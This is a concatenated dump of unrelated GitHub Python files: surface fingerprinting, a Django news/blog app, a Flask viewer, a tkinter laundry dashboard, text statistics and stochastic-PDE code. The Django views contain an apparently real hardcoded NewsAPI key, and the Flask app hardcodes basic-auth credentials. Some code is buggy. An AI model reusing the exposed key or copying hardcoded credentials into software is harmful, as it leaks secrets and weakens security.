sphere_center=sphere.ZERO,\n sphere_radius=1.):\n distances = pointdict()\n # Using replacement to force zero distances between a centroid and itself to show up\n for centroid_pair in itertools.combinations_with_replacement(enumerate(centroids), 2):\n idx1, centroid1 = centroid_pair[0]\n idx2, centroid2 = centroid_pair[1]\n pair = idx1, idx2\n distance = distance_on_sphere(centroid1, centroid2, sphere_center, radius=sphere_radius)\n distances[pair] = distance\n return distances\n\n\ndef quantize_distances_on_sphere(distances, sphere_radius=1., resolution=1.):\n max_distance = half_circumference(sphere_radius)\n num_bins = int(np.ceil(max_distance / resolution))\n bins = build_histogram(distances, num_bins, 0, max_distance)\n return bins\n\n\ndef select_best_kmeans(points, max_k, min_k=2,\n sphere_center=sphere.ZERO, sphere_radius=1., \n iterations=1000, epsilon=.01):\n num_points = len(points)\n if num_points == 0:\n return [], []\n if min_k > num_points:\n min_k = num_points\n if max_k > num_points:\n max_k = num_points\n\n min_inter_cluster_distance, best_run = np.inf, None\n for k in range(min_k, max_k+1):\n centroids, clusters = kmeans_on_sphere(points, k, sphere_center=sphere_center,\n sphere_radius=sphere_radius,\n iterations=iterations,\n epsilon=epsilon)\n dist_sum, num_dist = 0, 0\n for centroid, cluster in zip(centroids, clusters):\n for idx in cluster:\n point = points[idx]\n dist_sum += distance_on_sphere(centroid, point, sphere_center)\n num_dist += 1\n inter_cluster_distance = safe_divide(dist_sum, num_dist, 0)\n if inter_cluster_distance < min_inter_cluster_distance:\n min_inter_cluster_distance = inter_cluster_distance\n best_run = centroids, clusters\n return best_run\n\n\ndef kmeans_on_sphere(points, k, sphere_center=sphere.ZERO, sphere_radius=1., \n iterations=100, epsilon=.01):\n points = np.array(points)\n delta, iteration = np.inf, 0\n centroids = points[:k]\n clusters = None\n while delta > epsilon and iteration < iterations:\n \n # Assignment Phase\n clusters = [[] for _ in range(k)]\n for idx, point in enumerate(points):\n min_dist, assigned_cluster = np.inf, None\n for centroid, cluster in zip(centroids, clusters):\n dist = distance_on_sphere(point, centroid, sphere_center)\n if dist < min_dist:\n min_dist = dist\n assigned_cluster = cluster\n assigned_cluster.append(idx)\n\n # Update Phase\n old_centroids = np.array(centroids)\n for idx, cluster in enumerate(clusters):\n cluster_points = points[cluster]\n if len(cluster_points) > 0:\n average = cluster_points.mean(axis=0)\n centroid = sphere.project_point_to_sphere(average, sphere_center, sphere_radius)\n centroids[idx] = centroid\n else:\n centroids[idx] = old_centroids[idx]\n iteration += 1\n delta = abs(centroids - old_centroids).mean()\n\n return centroids, clusters\n\n\ndef compute_surface_fingerprint(sphmap):\n mappings, radius, center = sphmap\n shape = radius - mappings[:,0]\n sphere_coords = mappings[:,1:4]\n properties = [shape]\n property_histograms = []\n\n for prop in properties:\n property_bins = build_property_histogram(shape, num_bins=100)\n bin_centroids, bin_clusters = cluster_property_histograms(sphere_coords, property_bins, \n sphere_center=center,\n sphere_radius=radius)\n distance_histograms = build_distance_histograms(bin_centroids, bin_clusters, \n sphere_center=center,\n sphere_radius=radius,\n resolution=1)\n propety_counts = histogram_counts(property_bins)\n property_fingerprint = (propety_counts, distance_histograms)\n property_histograms.append(property_fingerprint)\n return property_histograms\n\n\ndef safe_divide(numerator, denominator, default=0.):\n if denominator == 0:\n return default\n else:\n return numerator / denominator\n\n\ndef interset_histogram(histogram1, histogram2, bin_weights=None, symmetric=True):\n size1 = len(histogram1)\n size2 = len(histogram2)\n\n # Extend histograms if needed\n size = max(size1, size2)\n comparision = np.zeros((2, size))\n comparision[0,:size1] = histogram1\n comparision[1,:size2] = histogram2\n\n if bin_weights is None:\n bin_weights = np.ones(size)\n \n minimums = comparision.min(axis=0)\n weighted = minimums * bin_weights\n numerator = weighted.sum()\n denominator = comparision[1].sum()\n similairty1 = safe_divide(numerator, denominator, 0)\n\n if symmetric:\n denominator = comparision[0].sum()\n similairty2 = safe_divide(numerator, denominator, 0)\n similairty = (similairty1 + similairty2) / 2\n else:\n similairty = similairty1\n\n return similairty\n\n\ndef compare_property_fingerprints(fingerprint1, fingerprint2):\n property_bins1, distance_bins1 = fingerprint1\n property_bins2, distance_bins2 = fingerprint2\n\n num_props = min(len(property_bins1), len(property_bins2))\n weights = np.zeros(num_props)\n for idx in range(num_props):\n bin_dists_1 = distance_bins1[idx]\n bin_dists_2 = distance_bins2[idx]\n dist_similarity = interset_histogram(bin_dists_1, bin_dists_2)\n weights[idx] = dist_similarity\n\n prop_similarity = interset_histogram(property_bins1, property_bins2, weights)\n return prop_similarity\n\n\ndef load_sphmap(path):\n with open(path) as f:\n mappings, radius, center = snake.load_sphmap(f)\n return mappings, radius, center\n\n\ndef compare_fingerprints(fp1, fp2):\n num_props = min(map(len, (fp1, fp2)))\n prop_similarities = np.zeros(num_props)\n for idx in range(num_props):\n prop_fp1, prop_fp2 = fp1[idx], fp2[idx]\n similarity = compare_property_fingerprints(prop_fp1, prop_fp2)\n prop_similarities[idx] = similarity\n overall_similarity = prop_similarities.mean()\n return overall_similarity\n\n\n\ndef main(args, stdout=None):\n if stdout is None:\n import sys\n stdout = sys.stdout\n sphmap1, sphmap2 = args[0:2]\n surface1 = load_sphmap(sphmap1)\n surface2 = load_sphmap(sphmap2)\n\n fp1 = compute_surface_fingerprint(surface1)\n fp2 = compute_surface_fingerprint(surface2)\n\n similarity = compare_fingerprints(fp1, fp2)\n\n print(\"{0:.4f}\".format(similarity), file=stdout)\n\n\nif __name__ == '__main__':\n import sys\n main(sys.argv[1:], stdout=sys.stdout)\n\n","repo_name":"teaguesterling/surface-sphere-map","sub_path":"surface-sphere-map/surface-sphere-map/src/python/fingerprint.py","file_name":"fingerprint.py","file_ext":"py","file_size_in_byte":11209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"18795918537","text":"\r\nfrom multiprocessing import context\r\nfrom django.shortcuts import render\r\nfrom .models import Form,Post\r\nimport requests\r\nfrom newsapi import NewsApiClient\r\nfrom django.core.paginator import Paginator\r\n\r\n# Create your views here.\r\ndef home(request):\r\n details=Post.objects.all().order_by('-date_added')\r\n p=Paginator(details,3)\r\n page_number=request.GET.get('page')\r\n try:\r\n page_obj=p.get_page(page_number)\r\n except PageNotAnInteger:\r\n page_obj=p.page(1)\r\n except EmptyPage:\r\n page_obj=p.page(p.num_pages) \r\n context={'page_obj': page_obj}\r\n return render(request,'home.html',context)\r\n\r\ndef contact(request):\r\n if request.method==\"POST\":\r\n name=request.POST['name']\r\n email=request.POST['email']\r\n contact=request.POST['contact']\r\n reason=request.POST['reason']\r\n form=Form(name=name,email=email,contact=contact,reason=reason)\r\n form.save()\r\n return render(request,'contact.html')\r\n\r\ndef about(request):\r\n return render(request,'about.html') \r\n \r\ndef news(request):\r\n #API_KEY='4441a53713664f28a05b9b3ceddd5a52'\r\n # url=f'https://newsapi.org/v2/top-headlines?country=in&apiKey={API_KEY}'\r\n #response=requests.get(url)\r\n #data=response.json()\r\n #articles=data['articles']\r\n # Initialise\r\n newsapi = NewsApiClient(api_key='4441a53713664f28a05b9b3ceddd5a52')\r\n\r\n# /v2/everything\r\n all_articles = newsapi.get_everything(q='technology',\r\n sources='bbc-news,the-verge',\r\n domains='bbc.co.uk,techcrunch.com',\r\n \r\n language='en',\r\n \r\n page_size=50)\r\n #print(all_articles)\r\n article=all_articles['articles']\r\n p=Paginator(article,3)\r\n page_number=request.GET.get('page')\r\n try:\r\n page_obj=p.get_page(page_number)\r\n except PageNotAnInteger:\r\n page_obj=p.page(1)\r\n except EmptyPage:\r\n page_obj=p.page(p.num_pages) \r\n context={'page_obj': page_obj}\r\n return render(request,'news.html',context)\r\n \r\n\r\ndef blog(request,slug):\r\n data=Post.objects.filter(slug=slug).first()\r\n context={'data':data}\r\n return render(request,'blog.html',context) ","repo_name":"sofiakhan967/example","sub_path":"ibad/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"37637916000","text":"#----------------------------------------------------------------------------#\n# Imports\n#----------------------------------------------------------------------------#\n\nfrom flask import Flask, render_template, request\n# from flask.ext.sqlalchemy import SQLAlchemy\nimport logging\nfrom logging import Formatter, FileHandler\nfrom forms import *\nfrom flask_basicauth import BasicAuth\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch_dsl import Search, connections\nimport os\nimport util\n\n#----------------------------------------------------------------------------#\n# App Config.\n#----------------------------------------------------------------------------#\n\napp = Flask(__name__)\napp.config.from_object('config')\n\napp.config['BASIC_AUTH_USERNAME'] = 'kelley'\napp.config['BASIC_AUTH_PASSWORD'] = 'kelley'\napp.config['BASIC_AUTH_FORCE'] = True\n\nbasic_auth = BasicAuth(app)\n\n\n# Login required decorator.\n'''\ndef login_required(test):\n @wraps(test)\n def wrap(*args, **kwargs):\n if 'logged_in' in session:\n return test(*args, **kwargs)\n else:\n flash('You need to login first.')\n return redirect(url_for('login'))\n return wrap\n'''\n#----------------------------------------------------------------------------#\n# Controllers.\n#----------------------------------------------------------------------------#\n\n\n@app.route('/cluster/')\ndef home(id):\n c_list = util.query(id)\n return render_template('pages/home.html', results=c_list) ## TODO fix this (should include distance as second param)\n\n@app.route('/query/')\ndef query(doc):\n c_list = util.query_doc(doc)\n c_list = (c_list[0][:100], c_list[1][:100])\n return render_template('pages/home.html', results=zip(c_list[0], c_list[1]))\n\n@app.route('/update', methods=[\"POST\"]) ## TODO save to txt instead\ndef update_es():\n file_list = request.form[\"filelist\"]\n doc_ids = [f.split(\"_\")[0] for f in file_list.strip(\"][\").split(\",\")]\n label = request.form[\"label0\"]\n value = request.form[\"value0\"]\n res = []\n for doc_id in doc_ids:\n pass\n return \"updated!\"\n\n\n@app.route('/about')\ndef about():\n return render_template('pages/placeholder.about.html')\n\n\n@app.route('/login')\ndef login():\n form = LoginForm(request.form)\n return render_template('forms/login.html', form=form)\n\n\n@app.route('/register')\ndef register():\n form = RegisterForm(request.form)\n return render_template('forms/register.html', form=form)\n\n\n@app.route('/forgot')\ndef forgot():\n form = ForgotForm(request.form)\n return render_template('forms/forgot.html', form=form)\n\n\n# Error handlers\n@app.errorhandler(500)\ndef internal_error(error):\n #db_session.rollback()\n return render_template('errors/500.html'), 500\n\n\n@app.errorhandler(404)\ndef not_found_error(error):\n return render_template('errors/404.html'), 404\n\nif not app.debug:\n file_handler = FileHandler('error.log')\n file_handler.setFormatter(\n Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')\n )\n app.logger.setLevel(logging.INFO)\n file_handler.setLevel(logging.INFO)\n app.logger.addHandler(file_handler)\n app.logger.info('errors')\n\n#----------------------------------------------------------------------------#\n# Launch.\n#----------------------------------------------------------------------------#\n\n# Default port:\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5100)\n\n# Or specify port manually:\n'''\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n'''\n","repo_name":"kelleyl/frame-clustering","sub_path":"vis-app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"40095335277","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkcalendar import Calendar\r\nimport datetime\r\nfrom Mini_project_data import Database as db\r\n\r\n\r\nclass Design:\r\n def __init__(self):\r\n self.root=Tk()\r\n self.root.state('zoomed')\r\n self.root.title(\"Dashboard\")\r\n self.bt_save=Button()\r\n self.bt_clear=Button()\r\n self.bt_clear_ord=Button()\r\n self.bt_save_ord=Button()\r\n\r\n self.bt_add_cust=Button()\r\n self.bt_add_order=Button()\r\n\r\n self.serch_box=Entry()\r\n self.bt_bill=Button()\r\n self.bt_report=Button()\r\n\r\n def Menu_design(self):\r\n root=self.root\r\n menu=PanedWindow(root,width=200,height=620,bg='red')\r\n menu.place(x=10,y=10)\r\n\r\n self.bt_add_cust=Button(menu,text=\"ADD CUSTOMER\",width=19,height=2,font=('bold',12))\r\n self.bt_add_cust.place(x=10,y=10)\r\n\r\n self.bt_add_order=Button(menu,text=\"ADD ORDER\",width=19,height=2,font=('bold',12))\r\n self.bt_add_order.place(x=10,y=70)\r\n\r\n self.bt_bill=Button(menu,text=\"BILLING\",width=19,height=2,font=('bold',12))\r\n self.bt_bill.place(x=10,y=130)\r\n\r\n self.bt_report=Button(menu,text=\"REPORT'S\",width=19,height=2,font=('bold',12))\r\n self.bt_report.place(x=10,y=190)\r\n\r\n self.bt_report=Button(menu,text=\"SET PRICE\",width=19,height=2,font=('bold',12))\r\n self.bt_report.place(x=10,y=250)\r\n\r\n def Display_design(self):\r\n root=self.root\r\n panel=PanedWindow(root,width=1030,height=620,bg='grey')\r\n panel.place(x=230,y=10)\r\n\r\n def Add_cust_design(self):\r\n\r\n bcol='grey'\r\n\r\n root=self.root\r\n\r\n panel1=PanedWindow(root,width=1030,height=620,bg=bcol)\r\n panel1.place(x=230,y=10)\r\n self.panel1=panel1\r\n f=25\r\n f1=25\r\n sz=-50\r\n lb1=Label(panel1,text=\"Name :\",font=f,bg=bcol)\r\n lb1.place(x=160+sz,y=100)\r\n lb1=Label(panel1,text=\"Mobile No :\",font=f,bg=bcol)\r\n lb1.place(x=130+sz,y=140)\r\n lb1=Label(panel1,text=\"Flat No :\",font=f,bg=bcol)\r\n lb1.place(x=150+sz,y=180)\r\n lb1=Label(panel1,text=\"Landmark :\",font=f,bg=bcol)\r\n lb1.place(x=130+sz,y=220)\r\n\r\n self.name=Entry(panel1,font=f1,width=35)\r\n self.name.place(x=220+sz,y=102)\r\n\r\n self.mob=Entry(panel1,font=f1,width=20)\r\n self.mob.place(x=220+sz,y=142)\r\n\r\n self.flt_no=Entry(panel1,font=f1,width=20)\r\n self.flt_no.place(x=220+sz,y=182)\r\n\r\n self.ldm=Entry(panel1,font=f1,width=20)\r\n self.ldm.place(x=220+sz,y=222)\r\n\r\n self.cal = Calendar(panel1, selectmode = 'day',\r\n year = 2022, month = 12,\r\n day = 18)\r\n\r\n self.cal.place(x=220+sz,y=272)\r\n\r\n self.bt_save=Button(panel1,text=\"SAVE\",font=f1,width=10)\r\n self.bt_save.place(x=230+sz,y=472)\r\n self.bt_clear=Button(panel1,text=\"CLEAR\",font=f1,width=10)\r\n self.bt_clear.place(x=350+sz,y=472)\r\n\r\n\r\n def Display_cust(self):\r\n\r\n columns=[\"ID\",\"Name\",\"Mobile_No\",\"Flat_NO\",\"Landmark\",\"Date\"]\r\n\r\n tree=ttk.Treeview(self.panel1,columns=columns,show='headings')\r\n tree.place(x=470,y=200)\r\n\r\n vsb = ttk.Scrollbar(self.panel1, orient=\"vertical\", command=tree.yview)\r\n vsb.place(x=1010,y=200,height=225)\r\n\r\n tree.configure(yscrollcommand=vsb.set)\r\n\r\n for i in columns:\r\n tree.heading(i,text=i)\r\n tree.column(\"#0\",anchor=CENTER, stretch=NO, width=0)\r\n tree.column(columns[0],anchor=CENTER, stretch=NO, width=40)\r\n tree.column(columns[1],anchor=W, stretch=NO, width=120)\r\n tree.column(columns[2],anchor=CENTER, stretch=NO, width=100)\r\n tree.column(columns[3],anchor=W, stretch=NO, width=60)\r\n tree.column(columns[4],anchor=W, stretch=NO, width=100)\r\n tree.column(columns[5],anchor=W, stretch=NO, width=120)\r\n\r\n\r\n for i in db().Customer_list():\r\n tree.insert('', END, values=(i[0],i[1],i[2],i[3],i[4],i[5]))\r\n\r\n def Clear_cust_add(self):\r\n self.name.delete(0,'end')\r\n self.mob.delete(0,'end')\r\n self.flt_no.delete(0,'end')\r\n self.ldm.delete(0,'end')\r\n\r\n def Validate_before_inserting_cust(self):\r\n name=self.name.get()\r\n mob=self.mob.get()\r\n flt=self.flt_no.get()\r\n ldm=self.ldm.get()\r\n cal=self.cal.get_date()\r\n dt=datetime.datetime.strptime(cal,'%m/%d/%y')\r\n dt=dt.strftime('%d-%b-%y')\r\n\r\n if (name=='' or mob=='' or flt==''):\r\n messagebox.showerror(\"Error Box\", \"Name,Mobile,Flat should not be blank!\")\r\n elif db().check_customer(name,mob,flt,ldm,dt)>0:\r\n messagebox.showerror(\"Error Box\", \"Entered Data Already Exists!\")\r\n\r\n else:\r\n db().Customer_insert(name,mob,flt,ldm,dt)\r\n self.Clear_cust_add()\r\n\r\n\r\n\r\n def Add_order_design(self):\r\n\r\n bcol='grey'\r\n\r\n root=self.root\r\n panel2=PanedWindow(root,width=1030,height=620,bg=bcol)\r\n panel2.place(x=230,y=10)\r\n self.panel2=panel2\r\n\r\n f=25\r\n f1=25\r\n xv=80\r\n lb1=Label(panel2,text=\"Name :\",font=f,bg=bcol)\r\n lb1.place(x=200-xv,y=100)\r\n lb1=Label(panel2,text=\"Weight :\",font=f,bg=bcol)\r\n lb1.place(x=190-xv,y=140)\r\n lb1=Label(panel2,text=\"No of Shirts :\",font=f,bg=bcol)\r\n lb1.place(x=160-xv,y=180)\r\n lb1=Label(panel2,text=\"No of Pants :\",font=f,bg=bcol)\r\n lb1.place(x=160-xv,y=220)\r\n lb1=Label(panel2,text=\"Action :\",font=f,bg=bcol)\r\n lb1.place(x=200-xv,y=260)\r\n\r\n\r\n self.name_lt=ttk.Combobox(panel2,font=f1,width=20)\r\n self.name_lt.place(x=260-xv,y=102)\r\n self.name_lt['values']=db().Name_list()\r\n\r\n self.wet=Entry(panel2,font=f1,width=10)\r\n self.wet.place(x=260-xv,y=142)\r\n\r\n self.no_of_shirt=Entry(panel2,font=f1,width=10)\r\n self.no_of_shirt.place(x=260-xv,y=182)\r\n\r\n self.no_of_pants=Entry(panel2,font=f1,width=10)\r\n self.no_of_pants.place(x=260-xv,y=222)\r\n\r\n self.action_lt=ttk.Combobox(panel2,font=f1,width=5)\r\n self.action_lt.place(x=260-xv,y=262)\r\n self.action_lt['values']=[1,2,3]\r\n\r\n self.cal_date = Calendar(panel2, selectmode = 'day',\r\n year = 2022, month = 12,\r\n day = 18)\r\n\r\n self.cal_date.place(x=260-xv,y=312)\r\n\r\n self.bt_save_ord=Button(panel2,text=\"SAVE\",font=f1,width=10)\r\n self.bt_save_ord.place(x=200-xv,y=512)\r\n self.bt_clear_ord=Button(panel2,text=\"CLEAR\",font=f1,width=10)\r\n self.bt_clear_ord.place(x=320-xv,y=512)\r\n\r\n def Display_order(self):\r\n\r\n columns=[\"Ord_ID\",\"CID\",\"Name\",\"Weight\",\"No_Of_Shirt\",\"No_Of_Pants\",\"Date\"]\r\n\r\n tree=ttk.Treeview(self.panel2,columns=columns,show='headings')\r\n tree.place(x=460,y=200)\r\n\r\n vsb = ttk.Scrollbar(self.panel2, orient=\"vertical\", command=tree.yview)\r\n vsb.place(x=1005,y=200,height=225)\r\n\r\n tree.configure(yscrollcommand=vsb.set)\r\n\r\n for i in columns:\r\n tree.heading(i,text=i)\r\n tree.column(\"#0\",anchor=CENTER, stretch=NO, width=0)\r\n tree.column(columns[0],anchor=CENTER, stretch=NO, width=50)\r\n tree.column(columns[1],anchor=CENTER, stretch=NO, width=50)\r\n tree.column(columns[2],anchor=W, stretch=NO, width=100)\r\n tree.column(columns[3],anchor=CENTER, stretch=NO, width=60)\r\n tree.column(columns[4],anchor=CENTER, stretch=NO, width=80)\r\n tree.column(columns[5],anchor=CENTER, stretch=NO, width=80)\r\n tree.column(columns[6],anchor=CENTER, stretch=NO, width=120)\r\n\r\n\r\n for i in db().Order_Data_list():\r\n tree.insert('', END, values=(i[0],i[1],i[2],i[3],i[4],i[5],i[6]))\r\n\r\n\r\n\r\n def Clear_order_add(self):\r\n\r\n self.name_lt.set('')\r\n self.wet.delete(0,'end')\r\n self.no_of_shirt.delete(0,'end')\r\n self.no_of_pants.delete(0,'end')\r\n self.action_lt.set('')\r\n\r\n def Validate_before_inserting_order(self):\r\n name_lt=self.name_lt.get()\r\n wet=self.wet.get()\r\n no_of_shirt=self.no_of_shirt.get()\r\n no_of_pants=self.no_of_pants.get()\r\n action_lt=self.action_lt.get()\r\n cal=self.cal_date.get_date()\r\n dt=datetime.datetime.strptime(cal,'%m/%d/%y')\r\n dt=dt.strftime('%d-%b-%y')\r\n\r\n #If user not entered no_shirt then take it as 0\r\n if no_of_shirt=='' :\r\n no_of_shir=0\r\n\r\n if no_of_pants=='' :\r\n no_of_pants=0\r\n\r\n #Checking user entered minimum info or not\r\n if (name_lt=='' or wet=='' or action_lt==''):\r\n messagebox.showerror(\"Error Box\", \"Name,Weight,Action should not be blank!\")\r\n else:\r\n db().Order_insert(name_lt,wet,no_of_shirt,no_of_pants,action_lt,dt)\r\n self.Clear_order_add()\r\n messagebox.showinfo(\"Message Box\", \"Data Successfully Saved!\")\r\n\r\n def Add_Billing_design(self):\r\n\r\n bcol='grey'\r\n\r\n root=self.root\r\n panel3=PanedWindow(root,width=1030,height=620,bg=bcol)\r\n panel3.place(x=230,y=10)\r\n self.panel3=panel3\r\n\r\n f1=10\r\n\r\n self.opt=ttk.Combobox(panel3,font=f1,width=20)\r\n self.opt.place(x=260,y=10)\r\n self.opt['values']=['cid','Name','order_id','Weight','Date','No_of_Shirt','No_of_Pants']\r\n self.opt.set('cid')\r\n\r\n self.serch_box=Entry(panel3,font=10,width=20)\r\n self.serch_box.place(x=480,y=10)\r\n\r\n\r\n def Display_billing(self,event):\r\n print(\"Run\")\r\n f1=self.opt.get()\r\n f2=self.serch_box.get()\r\n columns=[\"Ord_ID\",\"CID\",\"Name\",\"Weight\",\"No_Of_Shirt\",\"No_Of_Pants\",\"Date\"]\r\n\r\n tree=ttk.Treeview(self.panel3,columns=columns,show='headings')\r\n tree.place(x=460,y=200)\r\n\r\n vsb = ttk.Scrollbar(self.panel3, orient=\"vertical\", command=tree.yview)\r\n vsb.place(x=1005,y=200,height=225)\r\n\r\n tree.configure(yscrollcommand=vsb.set)\r\n\r\n for i in columns:\r\n tree.heading(i,text=i)\r\n tree.column(\"#0\",anchor=CENTER, stretch=NO, width=0)\r\n tree.column(columns[0],anchor=CENTER, stretch=NO, width=50)\r\n tree.column(columns[1],anchor=CENTER, stretch=NO, width=50)\r\n tree.column(columns[2],anchor=W, stretch=NO, width=100)\r\n tree.column(columns[3],anchor=CENTER, stretch=NO, width=60)\r\n tree.column(columns[4],anchor=CENTER, stretch=NO, width=80)\r\n tree.column(columns[5],anchor=CENTER, stretch=NO, width=80)\r\n tree.column(columns[6],anchor=CENTER, stretch=NO, width=120)\r\n\r\n\r\n for i in db().Order_Data_list_filter(f1,f2):\r\n tree.insert('', END, values=(i[0],i[1],i[2],i[3],i[4],i[5],i[6]))\r\n\r\n def ending(self):\r\n self.bt_save.configure(command=self.Validate_before_inserting_cust)\r\n self.bt_clear.configure(command=self.Clear_cust_add)\r\n self.bt_clear_ord.configure(command=self.Clear_order_add)\r\n self.bt_save_ord.configure(command=self.Validate_before_inserting_order)\r\n\r\n \r\n self.bt_add_cust.configure(command=self.Custome_main)\r\n self.bt_add_order.configure(command=self.Order_main)\r\n self.bt_bill.configure(command=self.billing_final)\r\n self.bt_report.configure(command=self.billing_final)\r\n self.serch_box.bind(\"\",self.Display_billing)\r\n\r\n def Order_main(self):\r\n self.Add_order_design()\r\n self.Display_order()\r\n self.ending()\r\n def billing_final(self):\r\n self.Add_Billing_design()\r\n self.Display_billing\r\n self.ending()\r\n def Custome_main(self):\r\n self.Add_cust_design()\r\n self.Display_cust()\r\n self.ending()\r\n def Report_design(self):\r\n bcol='grey'\r\n\r\n root=self.root\r\n panel3=PanedWindow(root,width=1030,height=620,bg=bcol)\r\n panel3.place(x=230,y=10)\r\n\r\n self._lt=ttk.Combobox(self.panel2,font=f1,width=5)\r\n self.action_lt.place(x=260,y=262)\r\n self.action_lt['values']=[1,2,3]\r\n\r\n report1=PanedWindow(root,width=1030,height=620,bg=bcol)\r\n report1.place(x=230,y=10)\r\n\r\n\r\nd=Design()\r\nd.Menu_design()\r\nd.Display_design()\r\nd.Custome_main()\r\nd.Order_main()\r\n\r\nd.ending()\r\n\r\nmainloop()\r\n","repo_name":"sbgorwade1008/Laundry-Management","sub_path":"Dashboard-GUI.py","file_name":"Dashboard-GUI.py","file_ext":"py","file_size_in_byte":12216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71471745960","text":"import textstat\nimport enchant\n\nimport src.data_manager as data_manager\nfrom src.util import *\n\ndef contact_summary(messages):\n info_dict = {}\n sent, received = split_sender(messages)\n dictionary = enchant.Dict(\"en_US\")\n\n def process(txt, messages):\n words, text = extract_words(messages)\n n_words = len(words)\n dict_words = list(filter(lambda w: dictionary.check(w), words))\n n_dict_words = len(dict_words)\n perc_proper = round(len(dict_words) / len(words) * 100, 1)\n avg_len = sum(list(map(len, words))) / len(words)\n info_dict[txt + '_readability'] = textstat.text_standard(text, float_output=False)\n info_dict[txt + '_avg_wordlen'] = round(avg_len, 2)\n info_dict[txt + '_perc_proper'] = perc_proper\n\n process('received', received)\n process('sent', sent)\n\n # unique words\n (words, text) = extract_words(messages)\n (all_words, all_text) = extract_words(data_manager.messages())\n uni = unique(words, all_words)\n df = pd.DataFrame({'name': uni.index, 'value': uni.values})\n info_dict['unique'] = df.to_dict(orient='records')\n\n return info_dict\n\ndef summary(messages):\n pass\n\ndef wordcloud(number):\n df = pd.read_pickle('data/message.pck')\n","repo_name":"jweinstein2/OLD_textualize","sub_path":"backend/src/stats/language.py","file_name":"language.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70862225959","text":"\"\"\"\nPython translation of the MATLAB\ncodes for Introduction to Computational Stochastic PDEs\n\nChapter 6 (ch6.py)\n\nType\n\nimport ch6\nch6.fig6_3()\nch6.fig6_4()\nch6.fig6_5()\nch6.fig6_6()\nch6.fig6_7()\nch6.exa6_62()\nch6.exa6_64()\nch6.fig6_9()\nch6.exa6_59()\n\"\"\"\n# load standard set of Python modules\nfrom __future__ import (absolute_import, division,\n print_function, unicode_literals)\nimport sys\nif sys.version_info < (3,):\n try:\n from builtins import (bytes, dict, int, list, object, range, str,\n ascii, chr, hex, input, next, oct, open,\n pow, round, super, filter, map, zip)\n from future.builtins.disabled import (apply, cmp, coerce, execfile,\n file, long, raw_input,\n reduce, reload,\n unicode, xrange, StandardError)\n except:\n print(\"need future module\")\n#\n#\nfrom math import *\n# Numpy\nimport numpy as np\nfrom numpy import matlib\n# Symbolic computing module\nimport sympy as sp\n# Scipy\nimport scipy\nfrom scipy import optimize\nfrom scipy import sparse\nfrom scipy import special\nfrom scipy.sparse import linalg\nfrom scipy import fftpack\n# Pylab for plotting\nimport matplotlib as mpl\nimport pylab as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\n#\nfft=np.fft.fft\nfft2=np.fft.fft2\nifft=np.fft.ifft\n#\nimport ch0\nimport ch1\n#\nassert(1/2==0.5),'Fractions are not treated as floating-point numbers. Need: from __future__ import division' \n#\ndef spectral_density(X,T):\n \"\"\"\n A6.1 Page 222\n \"\"\"\n Uk,nu=ch1.get_coeffs(X,0,T)\n f=(np.abs(Uk) ** 2) * T / (2 * pi)\n return f,nu\n#\ndef fkl_1d(J,T,ell):\n \"\"\"\n A6.2 Page 224\n \"\"\"\n kk=np.arange(0,2 * J ) # range of k\n b=np.sqrt(1 / T * np.exp(- pi * (kk * ell / T) ** 2))\n b[0]=sqrt(0.5) * b[0]\n xi=np.random.uniform(0,1,2 * J) * sqrt(12) - sqrt(3)\n XJ=np.real(fft(b*xi))\n XJ=XJ[0:J]\n return XJ\n# \ndef quad_sinc(t,J,ell):\n \"\"\"\n A6.3 Page 235\n \"\"\"\n R=pi / ell\n nustep=2 * R / J\n Z=(np.exp(- 1j * t * R) * np.dot(np.random.randn(2), [1j,1]) / sqrt(2)\n +np.sum(np.exp(1j * t * (- R + j * nustep)) * np.dot(np.random.randn(2),[1j,1]) for j in range(J-2))\n + np.exp(1j * t * R) * np.dot(np.random.randn(2) , [1j,1]) / sqrt(2))\n Z=Z * sqrt(ell / (2 * pi))\n return Z\n\n \ndef squad(T,N,M,fhandle):\n \"\"\"\n A6.4 Page 239\n \"\"\"\n dt=T / (N - 1); t=np.linspace(0,T,N)\n R=pi / dt; dnu=2 * pi / (N * dt * M)\n Z=np.zeros(N); coeff=np.zeros(N,dtype='complex128')\n for m in range(M):\n for k in range(N):\n nu=- R + ((k - 1) * M + (m - 1)) * dnu\n xi=np.dot(np.random.randn(2),[1,1j])\n coeff[k]=sqrt(fhandle(nu) * dnu) * xi\n if ((m == 1 and k == 1) or (m == M and k == N)):\n coeff[k]=coeff[k] / sqrt(2)\n Zi=N *ifft(coeff)\n Z=Z + np.exp(1j * (- R + (m - 1) * dnu) * t)*Zi\n return t,Z\n\ndef interp_quad(s,N,M,fhandle):\n \"\"\"\n A6.6 Page 240\n \"\"\"\n T=np.max(s) - np.min(s)\n t,Z=squad(T,N,M,fhandle)\n Zr=np.real(Z)\n X=np.interp(s,t + np.min(s),Zr)\n Zi=np.imag(Z)\n Y=np.interp(s,t + np.min(s),Zi)\n return X,Y\n\ndef quad_wm(s,N,M,q):\n \"\"\"\n A6.7 Page 241\n \"\"\"\n X,Y=interp_quad(s,N,M,lambda nu: f_wm(nu,q))\n return X,Y\n\ndef f_wm(nu,q):\n \"\"\"\n A6.7 helper function that gives WM spectral density\n \"\"\" \n const=gamma(q + 0.5) / (gamma(q) * gamma(0.5))\n f=const / ((1 + nu * nu) ** (q + 0.5))\n return f\n\n\ndef circ_cov_sample(c):\n \"\"\"\n A6.7 Page 246\n \"\"\"\n N=c.size\n d=ifft(c) * N\n xi=np.dot(np.random.randn(N,2), [1,1j])\n Z=fft(np.multiply(d ** 